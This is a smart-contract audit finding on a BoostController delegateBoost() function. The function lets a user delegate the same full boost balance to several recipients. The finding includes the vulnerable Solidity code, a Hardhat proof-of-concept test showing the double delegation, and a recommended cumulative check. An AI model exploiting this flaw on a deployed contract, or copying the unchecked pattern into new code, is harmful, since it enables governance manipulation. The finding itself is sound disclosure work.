Summary
The delegateBoost() function allows users to delegate the same boost multiple times to different recipients without restriction, leading to potential double spending.
Vulnerability Details
While the function ensures users cannot delegate more than their balance or delegate to the same user twice, it fails to prevent delegating the same boost amount to multiple users. This results in an inflated boost system where more boost is allocated than actually exists.
/contracts/core/governance/boost/BoostController.sol:212
212: function delegateBoost(
213: address to,
214: uint256 amount,
215: uint256 duration
216: ) external override nonReentrant {
217: if (paused()) revert EmergencyPaused();
218: if (to == address(0)) revert InvalidPool();
219: if (amount == 0) revert InvalidBoostAmount();
220: if (duration < MIN_DELEGATION_DURATION || duration > MAX_DELEGATION_DURATION)
221: revert InvalidDelegationDuration();
222:
223: uint256 userBalance = IERC20(address(veToken)).balanceOf(msg.sender);
224:
225: if (userBalance < amount) revert InsufficientVeBalance();
226:
227: UserBoost storage delegation = userBoosts[msg.sender][to];
228: if (delegation.amount > 0) revert BoostAlreadyDelegated();
229:
230: delegation.amount = amount;
231: delegation.expiry = block.timestamp + duration;
232: delegation.delegatedTo = to;
233: delegation.lastUpdateTime = block.timestamp;
234:
235: emit BoostDelegated(msg.sender, to, amount, duration);
236: }
POC
A user can delegate their full boost amount to multiple recipients, effectively duplicating their influence.
Add this POC to BoostController.test.js in describe("Delegation System", section:
/test/unit/core/governance/boost/BoostController.test.js:151
151: it.only("POC: User can delegate its boost to multiple Users. Double Spending of Boost", async () => {
152: const amount = await veToken.balanceOf(user1.address);
153: const duration = 7 * 24 * 3600;
154:
155: await expect(
156: boostController.connect(user1).delegateBoost(user2.address, amount, duration)
157: ).to.emit(boostController, "BoostDelegated")
158: .withArgs(user1.address, user2.address, amount, duration);
159:
160: const delegation = await boostController.getUserBoost(user1.address, user2.address);
161: expect(delegation.amount).to.equal(amount);
162: expect(delegation.delegatedTo).to.equal(user2.address);
163: await expect(
164: boostController.connect(user1).delegateBoost(manager.address, amount, duration)
165: ).to.emit(boostController, "BoostDelegated")
166: .withArgs(user1.address, manager.address, amount, duration);
167:
168: const delegation1 = await boostController.getUserBoost(user1.address, manager.address);
169: expect(delegation1.amount).to.equal(amount);
170: expect(delegation1.delegatedTo).to.equal(manager.address);
171: });
then run npx hardhat test
Impact
Allows governance manipulation and unfair voting advantages.
Tools Used
Manual Review, Unit Testing
Recommendations
Implement a cumulative delegation check to ensure a user’s total delegated boost does not exceed their balance.